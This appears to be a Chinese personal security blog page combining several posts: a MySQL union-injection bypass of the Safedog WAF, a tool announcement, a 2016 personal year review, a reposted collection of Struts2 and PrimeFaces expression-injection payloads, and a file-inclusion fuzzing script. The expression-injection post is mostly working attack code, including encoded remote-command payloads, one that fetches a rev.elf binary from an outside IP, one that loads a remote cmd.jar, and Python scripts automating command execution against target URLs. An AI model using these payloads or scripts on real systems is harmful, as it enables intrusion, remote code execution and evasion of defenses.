Mosuan 发布的文章

Mysql下Union注入Bypass安全狗过程


一次众测发现个注入,然后有安全狗就顺带看了下安全狗。

111.jpg

先fuzz看看安全狗拦截什么关键词
union select x,x 拦截

222.jpg

尝试用union函数 union(select 1,2,3) 拦截
union(%20select 1,2,3,4) 不拦截,注意select前面有个空格
之前出题的代码...懒得改了…中二。

333.jpg

union(%20select%201,(select%20user%20from%20mysql.user),3,4) p神说没有from就不算绕过,尝试用from注入被拦截。

444.jpg

union(%20select%201,(select%20user%20from(mysql.user)),3,4) 尝试把from换成函数,被拦截了。
想起来之前绕union函数前面带的空格,这里也尝试了下
union(%20select%201,(select%20user%20from(%20mysql.user)%20limit%202,1),3,4) 注意from函数里面第一位就是空格

555.jpg

实际上还有很多过狗的方法,我第一次跟P神交流的时候不是这个payload,那个payload还要长很多,但是P神说了重要的是过程,我再研究了下,发现这个payload比较短点,最后希望跟各位大师傅一起学习,最后的最后感谢下phithon师傅


SecIcode在线编码工具 V1


SecIcode在线编码工具(内测版) V1 -- 赛克艾威

SecIcode能干嘛,编码:十进制、十六进制、hex、url、base64等...

http://zone.secevery.com/code/index.html 在线体验,需要什么功能或者有兴趣维护再或者有什么bug的随时私聊我。

222222222222.png


2016


要是有些事我没说,你别以为是忘了,我什么也没忘,但是有些事只适合收藏。不能说,也不能想,却又不能忘。 --史铁生

1.生活相关.

他走了,可以说是对我前十几年影响最大的人。

拾起了以前追的火影忍者,看着看着就觉得有些人有些事跟自己身边挺像的,遗憾的是东京食尸鬼今年并没有出第三季。

几乎把英雄联盟戒了,玩起了守望先锋,然而还是菜鸡。开黑吗,我的76贼6。

和她分手了,一个人的生活习惯了,也不想两个人了。

上海->北京->广西来回跑,累。

最后养了一只猫,它叫断断。

得到了她失去了她,得到了他失去了他,得到了它失去了它。

2.工作相关.

15年我还是个在厨房打杂的员工,16年果断放弃了那种安逸的生活,一个人一个背包来到了北京,在王松家借住了几天,本来想去新浪的,后来新浪的人说他们招的是安全架构。在小川的帮助下投了两家公司,新浪乐居,乌云。新浪乐居因为学历问题没过,倒是去了乌云,真的非常感谢小川,不是他也不会认识那么多优秀的人。

去了乌云Tangscan做个打杂的安全狗,认识了一群很厉害的朋友,对我的安全路影响很大,Redfree、贝贝、大川、saline、booooom等等,真的非常感谢对我的帮助。我怀念的是跟小胜子一起去redfree家蹭饭,我怀念的是跟小胜子和栋栋和LN去网吧开黑。

后面因为一些事我们散了。

现在朋友创业,赛克艾威,在他的公司混吃混喝,其实做了挺多事的,从前端到php再到python,说不累是不可能的,人总要去弄一些自己不会的东西才能成长得更快,希望能一直混吃混喝下去。

3.学习相关.

16年算是学会了点python,再度拾起thinkphp、javascript,并写了一个网站。

也学会了更多挖洞姿势。

16年4月份左右买了台mac,对linux可以说熟悉了点。

我觉得最重要的是学会了怎么跟客户沟通,在Tangscan的时候经常跟客户沟通以及偶尔去客户公司驻场的问题,再到后来的赛克艾威,跟客户沟通简直就是一门艺术。

再就是感谢北斗Team的小伙伴,让我学会怎么跟人沟通,毕竟以前宅,什么也不会。

4.安全相关.

出过两次题目,感觉出题还挺有意思的,就是自己的技术太辣鸡,出不了什么吊炸天的题目。

本兮去世了,我不禁想起我当时学习安全的动力,一个是因为当时的DNF号被盗了,我特么的100万金币被人洗了,从这里认识红盟,再到后面的动力是因为我想知道一些别人不知道的秘密,所以义无反顾的搞起了安全,本兮去世的网上都是没有什么理由,想去调查,却发现自己无能为力,终有一天我有能力去偷窥一些秘密!先给自己立个Flag。

总结:

我觉得过去一年自己变化最大就是变低调多了。

得到很多,失去很多。

2017的目标:

学习Python,学习安全,学习做人。

然后继续像一个咸鱼一样活着。

对自己而言最重要的东西未必就是正义的。就算知道了那是邪恶的人也不能战胜孤独。 --我爱罗

33333333.jpg


表达式注入payload


转自:http://py4.me/blog/?p=23

验证:

${6196753-3562104}

若页面中包含2634649,再验证其它数字相减页面中是否包含计算的结果,若有则表明其存在表达式注入。

不同类型的Payload:
实际上在利用表达式注入这类漏洞的时候有这么几类Payload去执行命令:
1、

${\u0027\u007e\u007e\u0027+\u0027\u0032\u0027+@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\u0027whoami\u0027).getInputStream())+\u0027\u0032\u0027+\u0027\u007e\u007e\u0027}

2、

${\u0023\u0061\u003d\u0028\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0042\u0075\u0069\u006c\u0064\u0065\u0072\u0028\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0027\u0077\u0068\u006f\u0061\u006d\u0069\u0027\u007d\u0029\u0029\u002e\u0073\u0074\u0061\u0072\u0074\u0028\u0029\u002c\u0023\u0062\u003d\u0023\u0061\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u002c\u0023\u0063\u003d\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0023\u0062\u0029\u002c\u0023\u0064\u003d\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0075\u0066\u0066\u0065\u0072\u0065\u0064\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0023\u0063\u0029\u002c\u0023\u0065\u003d\u006e\u0065\u0077\u0020\u0063\u0068\u0061\u0072\u005b\u0035\u0030\u0030\u0030\u0030\u005d\u002c\u0023\u0064\u002e\u0072\u0065\u0061\u0064\u0028\u0023\u0065\u0029\u002c\u0023\u006d\u0061\u0074\u0074\u003d\u0023\u0063\u006f\u006e\u0074\u0065\u0078\u0074\u002e\u0067\u0065\u0074\u0028\u0027\u0063\u006f\u006d\u002e\u006f\u0070\u0065\u006e\u0073\u0079\u006d\u0070\u0068\u006f\u006e\u0079\u002e\u0078\u0077\u006f\u0072\u006b\u0032\u002e\u0064\u0069\u0073\u0070\u0061\u0074\u0063\u0068\u0065\u0072\u002e\u0048\u0074\u0074\u0070\u0053\u0065\u0072\u0076\u006c\u0065\u0074\u0052\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0027\u0029\u002c\u0023\u006d\u0061\u0074\u0074\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0027\u007e\u0027\u002b\u0027\u007e\u007e\u0032\u0027\u0029\u002c\u0023\u006d\u0061\u0074\u0074\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0023\u0065\u0029\u002c\u0023\u006d\u0061\u0074\u0074\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0027\u0032\u007e\u0027\u002b\u0027\u007e\u007e\u0027\u0029\u002c\u0023\u006d\u0061\u0074\u0074\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0066\u006c\u0075\u0073\u0068\u0028\u0029\u002c\u0023\u006d\u0061\u0074\u0074\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0063\u006c\u006f\u0073\u0065\u0028\u0029}

上面的代码解码后是这样的:

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println('~'+'~~2'),#matt.getWriter().println(#e),#matt.getWriter().println('2~'+'~~'),#matt.getWriter().flush(),#matt.getWriter().close()

3、

${new java.lang.ProcessBuilder(new java.lang.String[]{new java.lang.String(new byte[]{47,117,115,114,47,98,105,110,47,119,103,101,116})},new java.lang.String[]{new java.lang.String(new byte[]{104,116,116,112,58,47,47,49,48,55,46,49,56,57,46,49,53,51,46,49,53,48,47,114,101,118,46,101,108,102})}).start()}
${new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{new java.lang.String(new byte[]{119, 104, 111, 97, 109, 105})}).start().getInputStream())).readLine()}

因一些环境比较特殊,会出现过滤或无法回显结果的问题。
为了解决手打命令的不方便,特地写了个python脚本:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import re
import sys
import base64
import requests
command = sys.argv[1]#命令
def getExp(command):
    arg = "new java.lang.String[]{new java.lang.String(new byte[]{%s})}"
    cmds = command.split(' ')
    cmds_lst = []
    for cmd in cmds:
        tmp_str = str(map(ord, cmd)).strip('[')
        tmp_str = tmp_str.strip(']')
        cmds_lst.append(arg % tmp_str)
    cmd_str = str(cmds_lst).replace('\'', '')
    cmd_str = cmd_str.strip('[')
    cmd_str = cmd_str.strip(']')
     
    exp = "${new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(%s).start().getInputStream())).readLine()}" % cmd_str
    return exp
url = "https://test.wooyun.org/image/all?json=1&locationId=%s&_=1465009762062&st=cc"#存在漏洞的URL,漏洞参数为%s的位置
try:
    headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}
    exp = getExp(command)
    response = requests.get(url % exp, headers=headers, timeout=5, verify=False)
    result = re.findall(r'For input string: &quot;(.*?)&quot;</div>', response.content, re.S|re.I)
    if len(result) !=0:
        print(result[0])
    else:
        print('Null Result!')
except Exception, e:
    print(str(e))

注意后面的正则,从目标页面中匹配结果,传参为要执行的命令。
可用于Struts2命令执行的Payload:

${"~["+new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','ifconfig|base64 -w 0'}).start().getInputStream())).readLine()+"]~"}

4、列文件

${new java.io.File(new java.lang.String(new byte[]{46, 47})).listFiles()[0]}

使用python脚本去依次读取目录中的文件和目录列表:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import re
import sys
import base64
import requests
 
path = '/var/www/'#要读取的路径
path_str = str(map(ord, path)).strip('[')
path_str = path_str.strip(']')
url = "https://ccc.wooyun.com/news?newsType=sd&pageSize=${new java.io.File(new java.lang.String(new byte[]{%s})).listFiles()[%s]}&userSource=0"#漏洞URL
try:
    headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}
    for x in range(0, 400):
        response = requests.get(url % (path_str, str(x)), headers=headers, timeout=5, verify=False)
        result = re.findall(r'value&quot;:&quot;(.*?)&quot;,&quot;invalidReason', response.content, re.S|re.I)
        if len(result) !=0:
            if result[0].find("${new java.io.File") != -1:
                break
            print(result[0])
        else:
            print("Null Result!")
            break
except Exception, e:
    print(str(e))

5、Primefaces框架表达式注入:
验证(代码):

${facesContext.getExternalContext().getResponse().getWriter().println("~~~elinject~~~")}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}

加密的Payload:
Web路径:

${facesContext.getExternalContext().getResponse().getWriter().println(request.getSession().getServletContext().getRealPath(\"/\"))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}

加密的Payload:

uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkV9XxzneUPyMM8BUxgtfxF3wYMlt0MXkqO5%2BOpbBXfBSCSkb2z5x8Cb2P%2FDS2BUn7odA0GflWHV%2B9J8uLGYIqPK9HY85O%2BJw0u5X9urorJfQZKJihsLCV%2BnqyXHs8i6uh4iIboLA2TZUiTbjc3SfybUTvPCjRdyT6rCe6MPQGqHYkBiX3K7fGPuwJ2XNONXI9N2Sup5MWcUUo87FbX3jESvOq2Bs3sDKU4bW3aCGbhUcA2ZEgSxkLcW6VKDnXV5hxvz6J4a4E6P8HCy9v8%2BdrRzmtKbwczXk%2B9n8Lm2KYS%2Fk2TJKpeKjPg0t%2BAiKzTiqak%3D

反射式调用执行命令:

${request.getSession().setAttribute("list","".getClass().forName("java.util.ArrayList").newInstance())}${request.getSession().getAttribute("list").add(request.getSession().getServletContext().getResource("/").toURI().create("http://118.184.23.145/cmd.jar").toURL())}${facesContext.getExternalContext().getResponse().getWriter().println(request.getSession().getClass().getClassLoader().getParent().newInstance(request.getSession().getAttribute("list").toArray(request.session.servletContext.getClass().getClassLoader().getParent().getURLs())).loadClass("org.javaweb.test.HelloWorld").newInstance().exec(request.getParameter("cmd")))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}

加密的Payload调用:

http://xx.xx.xx.xx/javax.faces.resource/?pfdrt=sc&ln=primefaces&pfdrid=1acBqv16SJhfc30NLxL/NinZaDI%2BoHqk1xDbSI8qOl4%2BoXsKFyqJq3gv2IBc1S89q6G1POSSKDNlzHE/%2BnsMuZgTDALpyOstkBkFVJNc2U/B%2BoceOqnpF5YZoWtF0W7qGxsImsumut7GQoKKMQcbwwL4coE07x6Mn09hfy94tuiiy6S8S1vr8kPPYzrUC5AveiE9ls7dLDiaQripnC0Z71fB1xCjkxw8wjZt3om1PT9Wq8YAqkHuBIo/soFBvM1YDnJosELhjmfoJdAGBRfullXUfVw5xEg9ykFpLaKugkbDIBgXtv58Xu4BrT0d5MAQ8BOVwjzSodkdllYCAeUklCDWRfFtZDORdcAzXVxTRkEn%2Bnx7qAFh8NwK/sDsXz6U1Q2Q/ny1UaEMFM9qrgVmfX181HXWc4TuETxLqUohfreYLJLW%2BAxcxzciqqoKj%2Bht/KJ%2B%2BGfzuNoSs0E9i9N/AL5PALrdTRg%2BuweD3CMLZgLDITkMx4z7dmP2daw2B98nrKOLHtG6nYDcDmSfy8d8IKMZJvuq/WT7JLm0PJ3UqDyvzHHjrPCDpTFhMUmftFFvi4APBpT41slHYoRKDbJMvU/upvKyAsy5xQKJ5s6x%2B4F%2By9p8Icp1TQfMcqIPwMQkvsOs8i61m6i96dpmxpfZPWprcigaWMhJG8/iYRg7ZygegrmSbovLy5Tr3Mc9GODgdTx7v396NJ75yQyU4ETmYEhNxWTIoncK7MbyBcIWR/h1GjhCwwpquKRWLb3hal8DNJxubaKnxGa9mRNaQAZRr0s%2B3eo1jeino5O8CSQzla7ACpJc3867AAGxnWrnE/weJ20W3QKj6nIz/EAyx87aVIKs%2BQH3O4IGx%2BuiZ38TvMeg6jZpkZGiRNEUEuAoV6CWlMA%2BxM6BPvbPyWsqmdI8l%2ByFBhsoSpNhel2%2B0gxS5wWqZbRyi0rjPlOzUe8Xir9mlpuBZzrUIcbaYaE8PHQno1OZ/zaHx/GzAJakSRQ5YbKQ/W/OzkokDG3M79KSCtx2jN92PtISucY%3D&cmd=ifconfig

因为Primefaces要加密Payload后执行命令,所以专门写了个Python脚本调用从框架的抽出来的加密解密方法写的jar来完成这个过程:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import re
import os
import urllib
import requests
import subprocess
cmd = """${facesContext.getExternalContext().getResponse().getWriter().println(request.getSession().getServletContext().getRealPath("/"))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}"""
url = "http://xx.xx.xx.xx/javax.faces.resource/?pfdrt=sc&ln=primefaces&pfdrid=%s&cmd=ifconfig"#漏洞URL
proc = subprocess.Popen(["java", "-cp", "de.jar", "test.EncodeDecode", cmd], stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE, universal_newlines=True, shell = False)   
try:
    out = proc.stdout.read()
    entext = urllib.quote(out.strip())
    response = requests.get(url % entext, timeout=5, verify=False)
    result = re.findall(r'<u>(.*?)</u></p><p><b>description', response.content, re.S|re.I)
    if len(result) != 0:
        print(result[0])
    else:
        print(response.content)
    print("\n\n%s"%entext)
except Exception, e:
    proc.kill()
    outs, errs = proc.communicate()
    print("[*] Error: %s"%str(e))

利用Python开发Fuzz漏洞插件


#-*- coding:utf-8 -*-
#code by Mosuan
#2016.09.30
import urlparse
import urllib
import sys

def GetUrl(url, payload):
    urllist = urlparse.urlparse(url)
    if urllist.query != '':
        #生成没有参数的原url
        url_host = "%s://%s%s?" % (urllist.scheme,urllist.netloc,urllist.path)
        #将参数和值变成字典键值对 keep_blank_values=True的时候不会忽略掉value为空
        url_query = dict(urlparse.parse_qsl(urllist.query,keep_blank_values=True))
        for x in payload:
            for key in url_query:
                url_query[key] = x['payload']
                url_query_arr = urllib.unquote(urllib.urlencode(url_query))
                url_file_include = url_host+url_query_arr
                #最后在这里判断漏洞是否存在
                print url_file_include
                #再次将参数变成原始数据,避免数据污染
                url_query = dict(urlparse.parse_qsl(urllist.query,keep_blank_values=True))
    else:
        print u'没有参数跑个卵蛋'

'''
type == 跟正则匹配,如header,就是取header来判断是否存在漏洞
payload == 顾名思义
content == 最后存在漏洞输出的,如存在xxxx
reg == 正则判断漏洞是否存在
'''
payload = [
    {
        "type":"content",
        "payload":"../../../../../../../etc/passwd",
        "content":u"文件包含",
        "reg":r""
    },
    {
        "type":"content",
        "payload":"C:\\Windows\\System32\\drivers\\etc\\hosts",
        "content":u"文件包含",
        "reg":r""
    }
]

if __name__ in "__main__":
    if len(sys.argv) >= 2:
        url = sys.argv[1]
        GetUrl(url, payload)

效果图:
xxx.png